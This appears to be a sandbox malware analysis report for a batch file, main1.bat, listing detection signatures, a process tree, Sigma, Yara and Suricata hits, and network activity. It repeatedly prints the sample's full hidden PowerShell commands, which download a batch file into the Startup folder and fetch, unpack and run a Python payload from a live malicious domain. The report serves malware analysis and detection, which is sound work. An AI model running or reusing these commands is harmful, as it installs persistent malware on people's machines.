Edit tour

Windows Analysis Report
main1.bat

Overview

General Information

Sample name:	main1.bat
Analysis ID:	1578097
MD5:	b58be6ba7738b45b198fc64d93a99a7a
SHA1:	85a7b302a3fc642ba357587987873a72ad469bbd
SHA256:	4eee20bea2022297a7f22c80a650d15153487980fc0d57bee9eed1276d5197cd
Tags:	batBraodourerfieuser-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected Abobus Obfuscator

Yara detected Powershell download and execute

AI detected suspicious sample

Drops script or batch files to the startup folder

Found large BAT file

Powershell drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Program Location with Network Connections

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Download - PoshModule

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 1412 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\main1.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6432 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat'); MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3856 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

python.exe (PID: 7748 cmdline: "C:\Users\Public\Document\python.exe" C:\Users\Public\\Document\\Lib\\temp.py MD5: A7F3026E4CF239F0A24A021751D17AE2)

cmd.exe (PID: 7812 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 7836 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
main1.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafetyUserPulic.bat	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 6432	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3856	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_6432.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_3856.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Document\python.exe" C:\Users\Public\\Document\\Lib\\temp.py, CommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\\Document\\Lib\\temp.py, CommandLine|base64offset|contains: , Image: C:\Users\Public\Document\python.exe, NewProcessName: C:\Users\Public\Document\python.exe, OriginalFileName: C:\Users\Public\Document\python.exe, ParentCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip" , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3856, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\\Document\\Lib\\temp.py, ProcessId: 7748, ProcessName: python.exe

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "ver", CommandLine: C:\Windows\system32\cmd.exe /c "ver", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\\Document\\Lib\\temp.py, ParentImage: C:\Users\Public\Document\python.exe, ParentProcessId: 7748, ParentProcessName: python.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "ver", ProcessId: 7812, ProcessName: cmd.exe

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\main1.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, ProcessId: 6432, ProcessName: powershell.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3856, TargetFilename: C:\Users\Public\Document\Lib\ctypes\macholib\fetch_macholib.bat

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 34.117.59.81, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Document\python.exe, Initiated: true, ProcessId: 7748, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49854

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3856, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3856, TargetFilename: C:\Users\Public\Document\vcruntime140_1.dll

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\main1.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, ProcessId: 6432, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious PowerShell Download - PoshModule

Source: Event Logs

Author: Florian Roth (Nextron Systems): Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 44f20f22-04f4-4cc0-a5f0-232e37420ec4 Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip Engine Version = 5.1.19041.1682 Runspace ID = 5048b41f-3d13-408c-a995-6194fb59cf7d Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 44f20f22-04f4-4cc0-a5f0-232e37420ec4 Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/pogba.zip', 'C:\Users\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\\Document.zip', 'C:\Users\Public\\Document'); Start-Sleep -Seconds 1; C:\Users\Public\\Document\\python C:\Users\Public\\Document\\Lib\\temp.py; del C:\Users\Public\\Document.zip Engine Version = 5.1.19041.1682 Runspace ID = 5048b41f-3d13-408c-a995-6194fb59cf7d Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem"

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\main1.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, ProcessId: 6432, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\main1.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1412, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://pethellokity.site/update1.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafetyUserPulic.bat');, ProcessId: 6432, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6432, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafetyUserPulic.bat

Suricata Signatures

ETPRO MALWARE Terse Request for .bat - Likely Hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:56:36.503353+0100	2841189	1	A Network Trojan was detected	192.168.2.5	49705	185.199.111.153	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.9% probability

Source: unknown	HTTPS traffic detected: 185.199.111.153:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.153:443 -> 192.168.2.5:49705 version: TLS 1.2

Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32transaction.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2557B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25570000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32inet.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB253A3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb!! source: powershell.exe, 00000003.00000002.2875224830.000001EB252B0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB252B0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32print.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25477000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32cred.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2528B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32job.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB253C8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\servicemanager.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB24E5B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: libcrypto-1_1.dll.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32clipboard.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2521F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ras.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB254E0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32help.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2531D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pdh.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2540E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32gui.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2531D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: libcrypto-1_1.dll.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2540E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pipe.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25456000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2540E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32lz.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB253EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB253F8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32wnet.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB255B2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32profile.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB254CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB254BD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32evtlog.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB252F8000.00000004.00000800.00020000.00000000.sdmp, win32evtlog.pyd.3.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: libcrypto-1_1.dll.3.dr
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB249D9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python.pdb source: python.exe, 00000009.00000000.2721374336.00007FF7C9E22000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32process.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25498000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32security.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25503000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb!! source: powershell.exe, 00000003.00000002.2875224830.000001EB2521F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\timer.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25209000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB251FF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: _asyncio.pyd.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32file.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2531D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2521F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ts.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25591000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32console.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25268000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_win32sysloader.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25628000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB255D5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32trace.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB2554B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2555A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32service.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25503000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_winxptheme.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB25649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2563E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32event.pdb source: powershell.exe, 00000003.00000002.2875224830.000001EB252B0000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2841189 - Severity 1 - ETPRO MALWARE Terse Request for .bat - Likely Hostile : 192.168.2.5:49705 -> 185.199.111.153:443

Source: global traffic	HTTP traffic detected: GET /pogba.zip HTTP/1.1Host: pethellokity.siteConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /update1.bat HTTP/1.1Host: pethellokity.siteConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 185.199.111.153 185.199.111.153
Source: Joe Sandbox View	IP Address: 185.199.111.153 185.199.111.153

Source: Joe Sandbox View

ASN Name: FASTLYUS FASTLYUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ipinfo.io

